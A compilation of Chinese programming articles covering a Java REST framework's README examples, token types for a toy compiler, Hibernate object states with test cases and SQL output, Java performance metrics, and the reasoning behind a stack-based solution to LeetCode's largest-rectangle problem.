    interceptorLoader.add(new SecurityInterceptor(new MyAuthenticateService()));
  }

  //实现接口
  public class MyAuthenticateService implements AuthenticateService {
    //登陆时 通过name获取用户的密码和权限信息
    public Principal findByName(String name) {
      DefaultPasswordService defaultPasswordService = new DefaultPasswordService();

      Principal principal = new Principal(name, defaultPasswordService.hash("123"), new HashSet<String>() {{
        add("api");
      }});
      return principal;
    }
    //基础的权限总表  所以的url权限都放在这儿  你可以通过 文件或者数据库或者直接代码 来设置所有权限
    public Set<Credential> loadAllCredentials() {
      Set<Credential> credentials = new HashSet<Credential>();
      credentials.add(new Credential("GET", "/api/v1.0/users**", "users"));
      return credentials;
    }
  }



6.极简的缓存设计，可扩展，非常简单即可启用model的自动缓存功能


java  //启用缓存并在要自动使用缓存的model上
  //config application.properties  app.cacheEnabled=true
  //开启缓存@Table(name = "sec_user", cached = true)

  @Table(name = "sec_user", cached = true)
  public class User extends Model<User> {
    public static User dao = new User();

  }



7.下载文件，只需要直接return file


java  @GET("/files")
  public File file() {
    return new File(path);
  }



8.上传文件，注解配置把文件写到服务器


java  @POST("/files")
  @FILE(dir = "/upload/") //配置上传文件的相关信息
  public UploadedFile file(UploadedFile file) {
    return file;
  }



9.当然也是支持传统的web开发，你可以自己实现数据解析，在config里添加自定义的解析模板


java  public void configConstant(ConstantLoader constantLoader) {
    // 通过后缀来返回不同的数据类型  你可以自定义自己的  render  如：FreemarkerRender
    //默认已添加json和text的支持，只需要把自定义的Render add即可
    // constantLoader.addRender("json", new JsonRender());
  }



二、运行example示例：


1.运行根目录下的pom.xml->install （命令行： mvn clean install -Dmaven.test.skip=true ，install时跳过测试，因为测试需要连接数据库，没有数据库会失败，把相关的插件安装到本地，功能完善之后发布到maven就不需要这样了）


2.在本地mysql数据库里创建demo,example数据库，对应application.properties的数据库配置


3.运行resty-example下的pom.xml->flyway-maven-plugin:migration，自动根具resources下db目录下的数据库文件生成数据库表结构


4.运行resty-example下的pom.xml->tomcat7-maven-plugin:run,启动example程序


提醒:推荐idea作为开发ide，使用分模块的多module开发


License Apache License V2


 从零开始写个编译器吧 - tao语言的词法分析器（Tokenizer）的类型定义

作者：MOsky泽

来源： 从零开始写个编译器吧 - tao语言的词法分析器（Tokenizer）的类型定义



                    
要为 tao 语言设计词法分析器，首先得知道 tao 语言是一种什么样的语言。不过呢，我脑海里还没有 tao 语言具体形象。我还是先贴一段 tao 语言的代码，大概展示下这是怎么回事吧。


def say_hello_world(who) 
    print “hello world ” + who 
end 
var name = “tao” 
say_hello_world name 
#我是注释，注释是这样写的



看起来可能是这个样子。这个系列中的 tao 语言我会采取一边写编译器，一边设计的形式。细节在之后的章节会逐步补充完整。本章只是些词法分析器，因此不必了解太多细节（也不必设计出来）。因此，tao语言的概念也暂时止步于此不作细节上的讨论。


OK，不过首先我们得把词法分析器能生成的单词类型定义好了。嗯，我想想，显然一个语言至少要这么几种类型嘛。



	关键字（Keyword）

	符号（Sign）

	标示符（Identifier）

	其中关键字和符号很好理解，标示符，则具体而言，就是用户定义的变量、函数定义中的函数名和参数名、被调用函数的函数名等等这些东西。



严格来说，仅由数字、英语字母、下划线的字符串（可以以'?'、'!'为结尾，但不能以数字为开头），如果没有被关键字占用，则统统称之为标示符。其正则表达式形如：



  ^[a-zA-Z_][0-9a-zA-Z_]*[!\?]?$




当然，关键字的形式和标示符是一样的（至少要满足标示符的正则表达式定义）。


然后，数据类型也要有：



	数字类型（Number）

	字符串（String）

	正则表达式（RegEx）



其中数字类型的形式和标示符的形式极为类似，不同点在于，数字类型要求必须以数字开头（当然结尾不可以接'?'和'!'）这两个符号啦。其正则表达式形如：



  ^[0-9][0-9a-zA-Z_]*$




如此以来数字类型就和传统意义上的数字不一样了。形如"110police"也会被当做数字。此外，像3.14这种实数却不会被当作数字。嗯，这的确是问题，但是我不想在现在就解决这个问题，暂时不管啦，请先无视~~~。


另一个是正则表达式的定义，tao 语言中将 ` 符号置于两端来表示正则表达式。（什么，找不到这个符号，嗯，这个符号在“1”的左边，直接按下即可打出。）为什么用这个符号而不用 / 分开呢，猜一猜为什么呢？嗯，真正开始编码的时候揭示答案吧。


再然后，这些对编译器意义不大，但还是有点用处的类型：



	注释（Annotation）

	空格（Space）

	回车（NewLine）

	其中注释以 # 开始，单行注释。



最后的最后，还有一个类型是必须：



	终止符（EndSymbol）



这个类型不对应任何程序员可输入的形式，实际上，词法分析器会在解析完所有源代码之后，自动以一个该类型的单词结尾。这个类型是专门给语法分析器（Parser）使用的。


 深入理解hibernate的三种状态

作者：似是故人来

来源： 深入理解hibernate的三种状态



                    

  原文地址： http://www.cnblogs.com/xiaoluo501395377/p/3380270.html




学过hibernate的人都可能都知道hibernate有三种状态，transient(瞬时状态)，persistent(持久化状态)以及detached(离线状态)，大家伙也许也知道这三者之间的区别，比如瞬时状态就是刚new出来一个对象，还没有被保存到数据库中，持久化状态就是已经被保存到数据库中，离线状态就是数据库中有，但是session中不存在该对象。但是大家又是否对hibernate的session的那几个特殊方法一清二楚呢？或者说大家是否能够一眼就快速看出一个测试用例在反复的调用session的诸如save，update方法后会到底发出多少条SQL语句呢？本篇随笔将会给你答案，本篇随笔将会以大量的测试用例来掩饰hibernate的这三种状态的转变，相信看完本篇随笔的你会对hibernate的那三种状态有更深入的理解。


好了，废话不多说了，相信大家都知道hibernate的这三种状态的含义，那我们就通过一张图来开始我们的深入hibernate的三种状态之旅吧。


1.TestTransient


　　　　session = HibernateUtil.openSession();
        session.beginTransaction();
        User user = new User();
        user.setUsername("aaa");
        user.setPassword("aaa");
        user.setBorn(new Date());
        /*
         *  以上user就是一个Transient(瞬时状态),此时user并没有被session进行托管，即在session的
         *  缓存中还不存在user这个对象，当执行完save方法后，此时user被session托管，并且数据库中存在了该对象
         *  user就变成了一个Persistent(持久化对象)
         */
        session.save(user);
        session.getTransaction().commit();



此时我们知道hibernate会发出一条insert的语句，执行完save方法后，该user对象就变成了持久化的对象了


Hibernate: insert into t_user (born, password, username) values (?, ?, ?)



2.TestPersistent01


　　　　　　


　      session = HibernateUtil.openSession();
        session.beginTransaction();
        User user = new User();
        user.setUsername("aaa");
        user.setPassword("aaa");
        user.setBorn(new Date());
        //以上u就是Transient（瞬时状态），表示没有被session管理并且数据库中没有
        //执行save之后，被session所管理，而且，数据库中已经存在，此时就是Persistent状态
        session.save(user);
        //此时u是持久化状态，已经被session所管理，当在提交时，会把session中的对象和目前的对象进行比较
        //如果两个对象中的值不一致就会继续发出相应的sql语句
        user.setPassword("bbb");
        //此时会发出2条sql，一条用户做插入，一条用来做更新
        session.getTransaction().commit();


在调用了save方法后，此时user已经是持久化对象了，被保存在了session缓存当中，这时user又重新修改了属性值，那么在提交事务时，此时hibernate对象就会拿当前这个user对象和保存在session缓存中的user对象进行比较，如果两个对象相同，则不会发送update语句，否则，如果两个对象不同，则会发出update语句。

Hibernate: insert into t_user (born, password, username) values (?, ?, ?)
Hibernate: update t_user set born=?, password=?, username=? where id=?



3.TestPersistent02


　　　　　　　


    SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
    session = HibernateUtil.openSession();
    session.beginTransaction();
    User u = new User();
    u.setBorn(new Date());
    u.setUsername("zhangsan");
    u.setPassword("zhangsan");
    session.save(u);
    u.setPassword("222");
    //该条语句没有意义
    session.save(u);
    u.setPassword("zhangsan111");
    //没有意义
    session.update(u);
    u.setBorn(sdf.parse("1988-12-22"));
    //没有意义
    session.update(u);
    session.getTransaction().commit();

这个时候会发出多少sql语句呢？还是同样的道理，在调用save方法后，u此时已经是持久化对象了，记住一点：如果一个对象以及是持久化状态了，那么此时对该对象进行各种修改，或者调用多次update、save方法时，hibernate都不会发送sql语句，只有当事物提交的时候，此时hibernate才会拿当前这个对象与之前保存在session中的持久化对象进行比较，如果不相同就发送一条update的sql语句，否则就不会发送update语句

Hibernate: insert into t_user (born, password, username) values (?, ?, ?)
Hibernate: update t_user set born=?, password=?, username=? where id=?



4.TestPersistent03


　　　　　　　


            SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
            session = HibernateUtil.openSession();
            session.beginTransaction();
            User u = new User();
            u.setBorn(sdf.parse("1976-2-3"));
            u.setUsername("zhangsan2");
            u.setPassword("zhangsan2");
            session.save(u);
            /*
             * 以下三条语句没有任何意义
             */
            session.save(u);
            session.update(u);
            session.update(u);
            u.setUsername("zhangsan3");
            session.getTransaction().commit();

相信这个测试用例，大家应该都知道结果了，没错，此时hibernate也会发出两条sql语句，原理一样的

Hibernate: insert into t_user (born, password, username) values (?, ?, ?)
Hibernate: update t_user set born=?, password=?, username=? where id=?



5.TestPersistent04


　　　　　　　


            session = HibernateUtil.openSession();
            session.beginTransaction();
            //此时u是Persistent
            User u = (User)session.load(User.class, 4);
            //由于u这个对象和session中的对象不一致，所以会发出sql完成更新
            u.setUsername("bbb");
            session.getTransaction().commit();

我们来看看此时会发出多少sql语句呢？同样记住一点：当session调用load、get方法时，此时如果数据库中有该对象，则该对象也变成了一个持久化对象，被session所托管。因此，这个时候如果对对象进行操作，在提交事务时同样会去与session中的持久化对象进行比较，因此这里会发送两条sql语句

Hibernate: select user0_.id as id0_0_, user0_.born as born0_0_, user0_.password as password0_0_, user0_.username as username0_0_ from t_user user0_ where user0_.id=?
Hibernate: update t_user set born=?, password=?, username=? where id=?



6.TestPersistent05


　　　　　　


          　session = HibernateUtil.openSession();
            session.beginTransaction();
            //此时u是Persistent
            User u = (User)session.load(User.class, 4);
            u.setUsername("123");
            //清空session
            session.clear();
            session.getTransaction().commit();

再看这个例子，当我们load出user对象时，此时user是持久化的对象，在session缓存中存在该对象，此时我们在对user进行修改后，然后调用session.clear()方法，这个时候就会将session的缓存对象清空，那么session中就没有了user这个对象，这个时候在提交事务的时候，发现已经session中已经没有该对象了，所以就不会进行任何操作，因此这里只会发送一条select语句

Hibernate: select user0_.id as id0_0_, user0_.born as born0_0_, user0_.password as password0_0_, user0_.username as username0_0_ from t_user user0_ where user0_.id=?



7.TestDetached01


　　　　　　


　          session = HibernateUtil.openSession();
            session.beginTransaction();
            //此时u是一个离线对象，没有被session托管
            User u = new User();
            u.setId(4);
            u.setPassword("hahahaha");
            //当执行save的时候总是会添加一条数据，此时id就会根据Hibernate所定义的规则来生成
            session.save(u);
            session.getTransaction().commit();
我们看到，当调用了u.setId(4)时，此时u是一个离线的对象，因为数据库中存在id=4的这个对象，但是该对象又没有被session所托管，所以这个对象就是离线的对象，要使离线对象变成一个持久化的对象，应该调用什么方法呢？我们知道调用save方法，可以将一个对象变成一个持久化对象，但是，当save一执行的时候，此时hibernate会根据id的生成策略往数据库中再插入一条数据，所以如果调用save方法，此时数据库会发送一条插入的语句：

Hibernate: insert into t_user (born, password, username) values (?, ?, ?)
所以对于离线对象，如果要使其变成持久化对象的话，我们不能使用save方法，而应该使用update方法



8.TestDetached02


　　　　　　


　          SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
            session = HibernateUtil.openSession();
            session.beginTransaction();
            User u = new User();
            u.setId(5);
            //完成update之后也会变成持久化状态
            session.update(u);
            u.setBorn(sdf.parse("1998-12-22"));
            u.setPassword("world");
            u.setUsername("world");
            //会发出一条sql
            session.update(u);
            session.getTransaction().commit();

此时我们看到，当调用了update方法以后，此时u已经变成了一个持久化的对象，那么如果此时对u对象进行修改操作后，在事务提交的时候，则会拿该对象和session中刚保存的持久化对象进行比较，如果不同就发一条sql语句

Hibernate: update t_user set born=?, password=?, username=? where id=?



9.TestDetached03


　　　　　　SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
            session = HibernateUtil.openSession();
            session.beginTransaction();
            User u = new User();
            u.setId(5);
            //完成update之后也会变成持久化状态
            session.update(u);
            u.setBorn(sdf.parse("1998-12-22"));
            u.setPassword("lisi");
            u.setUsername("lisi");
            //会抛出异常
            u.setId(333);
            session.getTransaction().commit();

我们看这个例子，前面的操作一样，调用update方法后，user变成了一个持久化对象，在对user进行一些修改后，此时又通过 u.setId(333)方法设置了u的ID，那么这个时候，hibernate会报错，因为我们的u当前已经是一个持久化对象，如果试图修改一个持久化对象的ID的值的话，就会抛出异常，这点要特别注意

org.hibernate.HibernateException: identifier of an instance of com.xiaoluo.bean.User was altered from 5 to 333
10.TestDetached04

　　　　　　session = HibernateUtil.openSession();
            session.beginTransaction();
            User u = new User();
            u.setId(5);
            //现在u就是transient对象
            session.delete(u);
            //此时u已经是瞬时对象，不会被session和数据库所管理
            u.setPassword("wangwu");
            session.getTransaction().commit();

接着我们来看这个例子，这里在调用了session.delete()方法以后，此时后u就会变成一个瞬时对象，因为此时数据库中已经不存在该对象了，既然u已经是一个瞬时对象了，那么对u再进行各种修改操作的话，hibernate也不会发送任何的修改语句，因此这里只会 有一条 delete的语句发生：

Hibernate: delete from t_user where id=?



11.TestDetached05


　　　　　　session = HibernateUtil.openSession();
            session.beginTransaction();
            User u = new User();
            u.setId(4);
            u.setPassword("zhaoliu");
            //如果u是离线状态就执行update操作，如果是瞬时状态就执行Save操作
            //但是注意：该方法并不常用
            session.saveOrUpdate(u);
            session.getTransaction().commit();

这里我们来看看 saveOrUpdate这个方法，这个方法其实是一个"偷懒"的方法，如果对象是一个离线对象，那么在执行这个方法后，其实是调用了update方法，如果对象是一个瞬时对象，则会调用save方法，记住：如果对象设置了ID值，例如u.setId(4)，那么该对象会被假设当作一个离线对象，此时就会执行update操作。

Hibernate: update t_user set born=?, password=?, username=? where id=?
如果此时我将u.setId(4)这句话注释掉，那么此时u就是一个瞬时的对象，那么此时就会执行save操作，就会发送一条insert语句

Hibernate: insert into t_user (born, password, username) values (?, ?, ?)



12.TestDetached06


　　　　　　　


            session = HibernateUtil.openSession();
            session.beginTransaction();
            //u1已经是持久化状态
            User u1 = (User)session.load(User.class, 3);
            System.out.println(u1.getUsername());
            //u2是离线状态
            User u2 = new User();
            u2.setId(3);
            u2.setPassword("123456789");
            //此时u2将会变成持久化状态，在session的缓存中就存在了两份同样的对象,在session中不能存在两份拷贝，否则会抛出异常
            session.saveOrUpdate(u2);

我们再来看一下这个例子，此时我们的u1已经是持久化的对象了，保存在session缓存中，u2通过调用saveOrUpdate方法后也变成了一个持久化的对象，此时也会保存在session缓存中，这个时候session缓存中就存在了一个持久化对象有两个引用拷贝了，这个时候hibernate就会报错

org.hibernate.NonUniqueObjectException: a different object with the same identifier value was already associated with the session: [com.xiaoluo.bean.User#3]
一个session中不能存在对一个持久化对象的双重copy的，要解决这个方法，我们这里又要介绍session的另一个方法  merge方法，这个方法的作用就是解决一个持久化对象两分拷贝的问题，这个方法会将两个对象合并在一起成为一个对象。


　　　　　　　session = HibernateUtil.openSession();
            session.beginTransaction();
            //u1已经是持久化状态
            User u1 = (User)session.load(User.class, 3);
            System.out.println(u1.getUsername());
            //u2是离线状态
            User u2 = new User();
            u2.setId(3);
            u2.setPassword("123456789");
            //此时u2将会变成持久化状态，在session的缓存中就存在了两份同样的对象,在session中不能存在两份拷贝，否则会抛出异常
//            session.saveOrUpdate(u2);
            //merge方法会判断session中是否已经存在同一个对象，如果存在就将两个对象合并
            session.merge(u2);
            //最佳实践：merge一般不用
            session.getTransaction().commit();

我们看到通过调用了merge方法以后，此时会将session中的两个持久化对象合并为一个对象，但是merge方法不建议被使用

Hibernate: select user0_.id as id0_0_, user0_.born as born0_0_, user0_.password as password0_0_, user0_.username as username0_0_ from t_user user0_ where user0_.id=?
zhangsan
Hibernate: update t_user set born=?, password=?, username=? where id=?



终于写完了本篇随笔，本篇随笔可能概念性的内容比较少，基本都是通过测试用例来分析hibernate的三种状态可能会出现的各种情况。


最后总结一下：


①.对于刚创建的一个对象，如果session中和数据库中都不存在该对象，那么该对象就是瞬时对象(Transient)


②.瞬时对象调用save方法，或者离线对象调用update方法可以使该对象变成持久化对象，如果对象是持久化对象时，那么对该对象的任何修改，都会在提交事务时才会与之进行比较，如果不同，则发送一条update语句，否则就不会发送语句


③.离线对象就是，数据库存在该对象，但是该对象又没有被session所托管


 聊聊企业级 Java 应用最重要的4个性能指标

作者：OneAPM蓝海讯通
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虽然很多人都曾预言 Java 将一蹶不振，但是不可否认的是，很多重要项目中，尤其是银行和政府一些大型项目，Java 仍在其中扮演着极其重要的角色。笔者多次参与银行、运营商等大型企业的性能优化工作,总结了企业级 Java 应用最应重视的4个性能指标，主要包括：商业事务，外部服务，垃圾回收以及应用布局。下文将逐一展开阐述：


1.商业事务


商业事务是真实用户体验的直观反映：它们抓取了用户与应用交互时，用户体验到的实时性能数据。测量商业事务的性能，需要抓取一件商业事务整体的响应时间及其各个组件的响应时间。这些响应时间再与满足业务需求的基准进行比较，从而决定应用是否正常。





如果你只打算测量应用的一个方面，本文会推荐你测量商业事务的表现。尽管容量指标(container metrics)能帮助你决定何时调节集群规模，但是商业事务才决定了应用本身的性能。你无需询问应用服务器线程池(thread pool)的使用情况，而是关心用户能否迅速完成他们的商业事务，以及这些事务的表现是否正常。


介绍一点背景知识：商业事务通过其入口进行辨别，即用户与你的业务进行互动的入口。这类互动包括：一个网页请求，一个网页服务调用，或消息队列中的一条消息。当然，你也可以基于一个 URL 参数为同样的网页请求定义多个入口，或基于一个服务调用的内容定义多个入口点。关键在于：商业交易必须与对你的业务流程相关联，比如说中国移动的空中缴费业务对应到系统中是多个原子服务，我们就应该将这几个原子服务通过相应的关联聚合成一个空中缴费业务来进行监控。


辨别某个商业交易后，它的性能就会在整个应用生态系统中进行测量。每个商业交易的性能会与其基准进行比较，判定其是否正常。譬如，如果某个商业事务的响应时间大于您设定的阈值，我们便判定其运行异常。


总而言之，商业事务最能反映用户体验，因此它们也是最重要的抓取维度。


2.外部服务


外部服务的形式多种多样：从属的网页服务、遗留系统或数据库等。外部服务是与应用交互的系统。运行在外部服务系统中的代码常常无法控制，但是我们可以控制这些系统的配置，因此了解他们是否运行正常以及何时出错也很重要。并且，我们必须有能力区分问题是出自自身应用，还是源于这些外部服务系统。





从商业事务的角度来说，我们可以辨别并测量这些处于自身应用的外部服务。有时，我们需要配置监控方法从而辨别那些包裹了外部服务调用的方法。但是对于常见的协议，诸如 HTTP 和 JDBC，外部服务可以自动检测。


商业事务让你对应用的性能有了全局的掌控，帮助你对性能问题进行分类。但是外部服务总能以意想不到的方式极大地影响应用的运行，所以你必须监控它们。


3.垃圾回收


从 Java 发布最早版本开始，一直都保留的核心特性就是垃圾回收，它真是让人又爱又恨。垃圾回收使我们不再需要手动管理内存：当使用完一个对象后，我们只需删除它的引用，然后垃圾回收就会自动释放它。如果你使用过需要手动管理内存的语言，诸如C或C++，你会满怀感激。垃圾回收为程序员们减少了分配、释放内存空间的繁琐步骤。





此外，因为垃圾回收器会自动释放没有引用的内存空间，它减少了传统的内容泄露情况，即内存被分配后，该内存的引用在内存释放前就被删除了。听起来就像灵丹妙药，不是么？


尽管垃圾回收达成了无需手动管理内存的目标，也防止了传统的内存泄露，但是作为代价，垃圾回收过程有时相当笨拙。根据不同的 JVM,垃圾回收策略也会不同。深入探讨这些策略超出了本文的主旨。但是，读者应该明白，了解垃圾回收期的工作原理，以及最佳的配置方案至关重要。


垃圾回收最大的敌人就是传说中的主要 (major) 或 (full) 垃圾回收。除了 Azul JVM，所有的 JVM 都有这个问题。通常，垃圾回收大致分为两类：



	次级

	主要



为了释放存活时间较短的对象，次级垃圾回收发生得相对频繁。他们在运行时不会封锁线程，产生的影响较小。


然而，主要垃圾回收，有时也称为“暂停世界(Stop The World, STW)”垃圾回收，因为他们在运行时会封锁 JVM 中的所有线程。





当垃圾回收运行时，它会运行一项可达性测试 (reachability test)，如图四所示。它会创建一个由对象组成的根集合 (root set)，该集合包含每个运行线程中的直接可见对象。接着，它会探寻根集合中的对象涉及的其他对象，然后探寻这些对象涉及的对象，直到所有对象都被涉及。在这个过程中，它会记录 (mark) 下现时活动对象的内存地址，然后把不被使用的所有地址都扫除 (sweep)。说得更恰当些，它会把没有根集合对象引用的内存都释放。最终，它会压缩、整理这些内存，这样新的对象才能获得内存分配。





根据不同的 JVM ，次级、主要回收的方式都会不同。图五图六展示了在Sun JVM内次级、主要回收的操作方式。


在次级回收中，内存主要分配到 Eden 空间直到将其填满。接着，拷贝收集器(copy collector)会将 Eden 中的活动对象拷贝到两个幸存者空间(survivor spaces, to space和from space)。遗留在 Eden 中的对象就会被移除。如果幸存者空间被填满，但还有多余的活动对象，这些对象会被移到 tenured 空间。只有主要回收才能释放tenured空间的内存。


最终，tenured 空间会被填满，主要回收将会执行。它不会将幸存者空间放不下的活动对象拷贝到 tenured 空间中。此时，JVM 会封锁所有线程，运行可达性测试，清除年轻的数据(Eden和两个幸存者空间)，并压缩 tenured 空间。我们将之称为主要回收。





你或许会想，堆越大，主要回收运行得越不频繁。但是当它执行时，所需时间就会比小堆要长。因此，调整好堆的大小和垃圾回收策略对于应用的性能也很重要。


4.应用布局


最后要探讨的性能指标是应用布局。因为云的出现，现在的应用变得更加灵活：应用环境可以根据用户需求调节大小。因此，对应用的布局进行检测从而决定实例的多少是否合适是非常重要的。如果你的实例太多，你的云主机成本就会增加。但如果你没有足够的实例，商业事务就会受到影响。


在评测过程中，下面两个指标尤其重要：



	商业事务的吞吐量


	容器性能




商业事务应该基准化，你应该知道在给定的时间里为了满足基准所需的实例数量。如果你的商业事务的吞吐量增长突然，你就要增加实例以满足用户。


另一个需要监测的是容器性能。具体来说，你想确定是否有应用中的实例负载过大，如果有，你或许想在那个应用中添加实例。从应用的角度查看实例状态很重要，因为单个实例可能由于垃圾回收之类的因素负载过大，但如果应用中大多数实例都负载过大，则该应用可能已经无法支持它接受的访问量。


因为应用中的实例可以单个地调节规模，所以分析各个实例的性能进而调整应用布局就至关重要。


本文系 OneAPM 工程师陶炳哲整理。请访问 OneAPM 官方技术博客。
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原文地址

相信大部分同学曾经都学习过快速排序、Huffman、KMP、Dijkstra等经典算法，初次学习时我们惊叹于算法的巧妙，同时被设计者的智慧所折服。于是，我们仔细研读算法的每一步，甚至去证明算法的正确性，或者是去尝试优雅地实现这些算法。总之，我们会花费很大的时间精力去理解这些智慧的结晶。

然而，现在对于这些经典的算法你仍然了然于胸吗？就算现在你仍然记得这些算法的步骤，你敢确保一年后、十年后自己不会忘记？我想没有多少人敢保证吧。

我们当然希望自己掌握一个算法后，就永远不会忘记，最好还能举一反三，利用算法中的思想去解决新的问题。然而，现实与美好的愿景往往是背道而驰，不要说举一反三，我们甚至经常忘记那些算法本身。

背算法与设计算法

为什么会这样？简单来说，因为我们从来就没有真正掌握过这些算法，我们只不过是在背诵别人发明的算法，就像我们背诵历史书上的那些历史事件一样，时间久了自然会慢慢遗忘。

我们接触到某个算法时，看到的只是对算法过程的讲解，对其正确性的证明，或者对其效率的分析（想想大名鼎鼎的《算法导论》，《算法》是如何讲解某一算法的），我们不会看到那些牛人是如何“灵机一动”设计出了这惊天地泣鬼神的算法。也就是说我们只是知其然，并没有知其所以然。当我们不知道一个算法的来龙去脉，不知道设计它经历的那些思维历程时，就很容易忘记它的具体内容。相反，那些牛人就不会忘记自己设计的算法。

所以，当看到别人牛逼的闪闪发光的算法后，我们一定要探寻算法背后那“曲径通幽”的思维之路。只有经历了思维之路的磨难，才配得上永远占有一个算法，并有可能举一反三，或者是设计一个巧妙算法。刘未鹏在知其所以然（三）：为什么算法这么难？中探索了Huffman编码的思维历程，值得一看。顺便说一下，探索算法背后的思维历程不是件容易的事，要知道就是霍夫曼本人也是花了一个学期才想出它的编码算法。

下面我们以LeetCode上一个好问题，来探索这个问题的算法背后的思维之路。关于什么是好问题，刘未鹏在跟波利亚学解题上有一个不错的观点：好问题即测试一个人思维的习惯的题目，通常考察你的联想能力、类比能力、抽象能力、演绎能力、归纳能力、观察能力、发散能力等。

一个好问题

LeetCode 84题：Largest Rectangle in Histogram，给定一个直方图（下图a），求直方图中能够组成的所有矩形中，面积最大为多少。对于图a来说，我们很容易看出来面积最大的矩形为高度为5和6的直方图组成的矩形（图b隐形部分），其面积为5 * 2 = 10。



其实这个题稍微加以变化，就是另一个相当有趣的问题：Maximal Rectangle.

这道题目一个显而易见的解决方法就是暴力搜索：找出所有可能的矩形，然后求出面积最大的那个。要找出所有可能的矩形，只需要从左到右扫描每个立柱，然后以这个立柱为矩形的左边界（假设为第i个），再向右扫面，分别以（i+1, i+2, n）为右边界确定矩形的形状。

这符合我们本能的思考过程：要找出最大的一个，就先列出所有的可能，比较大小后求出最大的那个。然而不幸的是，本能的思考过程通常是简单粗暴而又低效的，就这个题目来说，时间复杂度为N^2 。那么有没有一种更加高效的解决办法呢？

一个好算法

我第一次面对这个题时，并没有想出一个漂亮的解决方案。因为从给定的条件来看，似乎找不到一个约束条件使得满足这个条件的矩形面积最大，也就是说无法缩减问题的规模，因此必须找出所有可能的矩形，这样的话效率肯定是N^2 。

然而去Google了一下，立即发现了一个时间复杂度O(n)的算法，当时就被这神奇的解法所震撼到。它的代码十分简单，简单到一开始我根本就看不懂，不明白为什么这样子求出的就是最大的矩形。网上好多所谓的解题报告里面只是人云亦云地给出了算法的步骤，没有算法正确性的证明，更没有我们最想要的关于解题思路。

我也先给出算法步骤和代码，看看你是不是同样一头雾水。在程序中维护一个栈，栈中元素为直方图中bar的下标，然后从头开始扫描每个bar：


	如果当前bar的高度大于栈顶bar的高度，则将当前bar的下标入栈；


	否则执行出栈操作，记录弹出下标对应的bar的高度，并计算出一个面积，然后用这个面积更新最大面积。




代码也是相当简洁，python源码如下：

def largestRectangleArea(self, height):
    height.append(0)
    size = len(height)
    no_decrease_stack = [0]
    max_size = height[0]

    i = 0
    while i < size:
        cur_num = height[i]
        if (not no_decrease_stack or
                cur_num > height[no_decrease_stack[-1]]):
            no_decrease_stack.append(i)
            i += 1
        else:
            index = no_decrease_stack.pop()
            if no_decrease_stack:
                width = i - no_decrease_stack[-1] - 1
            else:
                width = i
            max_size = max(max_size, width * height[index])

    return max_size


高效而难以理解，这就是那些神奇算法的共性。

一个思维历程

那么这个算法真的就是我等凡夫俗子不能想出来的？难道我们只能仰望高山，恨自己智商不高？我还真不服气呢，于是又静下心去思考这个问题。

这次我们不从已知条件推结果，而直接从结论入手，就是说假设现在已经找到了面积最大的那个矩形。接着我们来分析该矩形有什么特征，然后可以用下面两种方法之一来缩减问题的规模（因为这两种方法都不用找出所有的矩形一一比较）。


	找出满足这些特征的矩形，面积最大的矩形肯定是其中之一；


	排除那些不满足这些特征的矩形，面积最大的矩形在剩下的那些矩形里面。




为了使考虑情况尽可能全面，画了许多直方图，防止使用原题目图片可能存在的一些特定假设，其中一个直方图如下图：



通过不断地对多个直方图的观察，发现面积最大的那个矩形好像都包含至少一个完整的bar，那么这条规律适用于所有的直方图吗？我们用反证法来证明，假设某个最大矩形中每个竖直块都是所在的bar的一小段，那么这个矩形高度增加1后仍然是一个合法的矩形，但新的矩形面积更大，与假设矛盾，所以面积最大的矩形必须至少有一个竖直块是整个bar。

至此我们找到了面积最大矩形的一个特性：各组成竖直块中至少有一个是完整的Bar。有了这条特性，我们再找面积最大的矩形时，就有了一个比较小的范围。具体来说就是针对每个bar，我们找出包含这个bar的面积最大的矩形，然后只需要比较这N个矩形即可（N为bar的个数）。

那么问题又来了，如何找出“包含某个bar的面积最大的矩形呢”？对于上面的直方图，包含下标为4的bar的最大矩形如下图橘黄色部分：



简单观察一下，就会发现要找到包含某个bar的最大矩形其实很简答，只需要找到高度小于该bar的左、右边界即可，上图中分别是下标为1的bar和下标为10的bar。 

至此问题已经变为“对于给定的bar，如何确定高度比它小的左、右边界”。其实求左边界和右边界是同样的求法，下面我们考虑求每个bar的左边界。最直接的思路是对于每个bar，扫面其前面所有的bar，找出最后一个高度小于它的bar，这样的话时间复杂度明显又是N^2 ，Holy Shit。

到这里似乎没有路可走了，但如果我们继续绞尽脑汁地去想，可能（或许你对栈理解的很深入，或许是你在一个类似的问题中用到了栈，当然你也可能想到动态规划的思想，那也是可行的）会联想到栈这一数据结构。用栈维护一个高度递增的bar的集合，也就是说栈底到栈顶部对应的bar的高度越来越大。那么对应一个刚读入的bar，我们只需要比较它的高度和栈顶对应bar的高度，如果当前bar比较高，则弹出栈顶元素继续比较，直到栈顶bar比它低或者栈为空。之后，将当前bar入栈，更新栈内的递增序列。

我们从左到右扫一遍得到每个bar对应的左边界，然后从右到左扫一遍得到bar的右边界。两次扫描过程中，每个bar都只有出栈、入栈操作，所以时间复杂度为O(N)。通过这样的预处理，即可以O(N)的时间复杂度得到每个bar的左右边界。之后对于每个bar求出包含它的最大面积，也即是由左右边界和bar的高度围起来的矩形的面积。再做N次比较，即可得出最终的结果。

这里先预处理用两个栈扫描两次得到左、右边界，再计算面积，是按照推导过程一步一步来的。当我们写完程序后，再综合看这个问题，可能会发现其实没必要这样分开来做，我们可以在扫描的同时，维护一个递增的栈，同时在“合适的”时候计算面积，然后更新最大面积。具体实现方法就是前面给出的那个神奇的算法，不过现在看来一点也不神奇了，我们已经探索到了它背后的思维历程。

当然，条条道路通罗马，上面思维过程只是其中一条通往解决方案的路径，你可能以另一种思维过程找到了答案。不过，我们上面的整个推导过程没有涉及一些类似“神谕”的启发，只是一些简单的方法：比如从结论推导、反证法、归纳总结、联想（可能联想到栈有点难）等，因此每个人都可以学会，并且很容易被大脑记住。值得注意的是，我们的整个思考过程并不简简单单地跟上面写的那样是线性的，它更可能是树形的，只是我们剪去了那些后来证明行不通的枝。

解题的万能思考法则?

人类在漫长的进化史中，解决了各种各样的问题。例如


	如何度过一条湍急的河流


	如何保留火种


	如何治愈天花


	如何制造一个会飞的机器


	...




同时也对自己的思维方式进行总结和反思，笛卡尔曾经试图将人类思维的规则总结为36条（最终完成了21条）。

